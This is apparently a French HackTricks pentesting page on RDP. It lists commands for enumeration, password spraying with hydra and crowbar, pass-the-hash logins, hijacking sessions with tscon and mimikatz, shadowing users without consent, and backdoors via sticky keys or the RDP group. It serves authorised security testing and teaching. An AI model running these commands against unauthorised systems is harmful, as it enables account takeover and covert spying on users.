3389 - Pentesting RDP
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Informations de base
Développé par Microsoft, le Remote Desktop Protocol (RDP) est conçu pour permettre une connexion via une interface graphique entre des ordinateurs sur un réseau. Pour établir ce type de connexion, l’utilisateur utilise un client RDP, et parallèlement, l’ordinateur distant doit exécuter un serveur RDP. Cette configuration permet le contrôle et l’accès transparents du bureau d’un ordinateur distant, ramenant essentiellement son interface sur l’appareil local de l’utilisateur.
Port par défaut : 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Énumération
Automatique
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Il vérifie le chiffrement disponible et la vulnérabilité DoS (sans provoquer de DoS au service) et obtient des informations NTLM Windows (versions).
Couche de sécurité / Vérifications NLA
RDP peut négocier différentes couches de sécurité (native RDP, TLS ou CredSSP/NLA). Vous pouvez rapidement fingerprint les paramètres côté serveur et déterminer si NLA est requis :
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Faites attention, vous pourriez verrouiller des comptes
Password Spraying
Faites attention, vous pourriez verrouiller des comptes
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Se connecter avec des credentials/hash connus
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Vérifier des identifiants connus contre des services RDP
rdp_check.py d’impacket permet de vérifier si certains identifiants sont valides pour un service RDP :
rdp_check <domain>/<name>:<password>@<IP>
Attaques
Session stealing
Avec SYSTEM permissions vous pouvez accéder à toute session RDP ouverte par n’importe quel utilisateur sans avoir besoin de connaître le mot de passe du propriétaire.
Obtenir les sessions ouvertes :
query user
Accès à la session sélectionnée
tscon <ID> /dest:<SESSIONNAME>
Vous serez maintenant à l’intérieur de la session RDP sélectionnée et vous devrez vous faire passer pour un utilisateur en n’utilisant que des outils et fonctionnalités Windows.
Important: Lorsque vous accédez à une session RDP active, vous déconnecterez l’utilisateur qui l’utilisait.
Vous pourriez récupérer des mots de passe en vidant le processus, mais cette méthode est beaucoup plus rapide et vous permet d’interagir avec les bureaux virtuels de l’utilisateur (mots de passe dans Notepad sans avoir été enregistrés sur le disque, autres sessions RDP ouvertes sur d’autres machines…)
Mimikatz
Vous pourriez aussi utiliser mimikatz pour faire cela:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Si Remote Desktop Services shadowing est activé, vous pouvez voir ou contrôler la session active d’un autre utilisateur (parfois sans son consentement) en utilisant les switches intégrés de mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP prend en charge les canaux virtuels qui peuvent être exploités pour du pivoting/tunneling au sein d’une session RDP établie. Une option est rdp2tcp (client/server) qui peut multiplexer des redirections TCP sur RDP (fonctionne avec FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
En combinant cette technique avec stickykeys ou utilman vous pourrez accéder à une CMD administrative et à n’importe quelle session RDP à tout moment
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Si quelqu’un d’un domaine différent ou avec better privileges login via RDP sur le PC où you are an Admin, vous pouvez inject votre beacon dans son RDP session process et agir à sa place :
Ajouter un utilisateur au groupe RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Outils automatiques
AutoRDPwn est un framework post-exploitation créé en Powershell, conçu principalement pour automatiser l’attaque Shadow sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant distant de voir le bureau de sa victime sans son consentement, et même de le contrôler à la demande, en utilisant des outils natifs du système d’exploitation lui-même.
-
Contrôler la souris et le clavier de façon automatisée depuis la ligne de commande
-
Contrôler le presse-papier de façon automatisée depuis la ligne de commande
-
Créer un proxy SOCKS depuis le client qui achemine les communications réseau vers la cible via RDP
-
Exécuter des commandes SHELL et PowerShell arbitraires sur la cible sans téléverser de fichiers
-
Uploader et télécharger des fichiers vers/depuis la cible même lorsque les transferts de fichiers sont désactivés sur la cible
Cet outil permet d’exécuter des commandes dans le RDP de la victime sans nécessiter d’interface graphique.
Commandes automatiques HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Références
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


